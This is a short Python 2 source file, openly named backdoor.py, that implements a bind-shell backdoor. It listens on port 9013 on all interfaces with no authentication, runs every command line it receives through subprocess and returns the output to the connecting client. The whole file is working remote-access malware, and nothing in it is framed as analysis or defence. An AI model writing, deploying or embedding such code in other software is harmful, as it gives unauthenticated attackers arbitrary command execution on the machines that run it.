backdoor.py

# encoding=UTF-8
__author__ = 'whf'

import socket
import subprocess
import sys
import thread

HOST = ''
PORT = 9013

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((HOST, PORT))
s.listen(5)


def process_connection(conn ,addr):
    while True:
        data = conn.recv(1024).strip('\r\n')
        cmds = data.split(' ')
        print 'command received: %s' % cmds

        # 断开连接
        if cmds[0] == 'exit':
            conn.sendall('bye~')
            conn.close()
            print 'Disconnected by ', addr
            break

        # 退出程序
        if cmds[0] == 'close':
            conn.sendall('server program is going to shutdown!!\n')
            conn.close()
            sys.exit(0)

        if not cmds:
            continue

        # execute command
        outcome = None
        try:
            outcome = subprocess.check_output(cmds, stderr=subprocess.STDOUT)
        except subprocess.CalledProcessError as e:
            outcome = e.output
        except OSError as e:
            outcome = e.__str__()

        print 'sending result:%s' % outcome
        conn.sendall(outcome + '\n')


while True:
    conn, addr = s.accept()
    print 'Connected by', addr
    # process request in a separate thread
    thread.start_new_thread(process_connection, (conn, addr))

conn.close()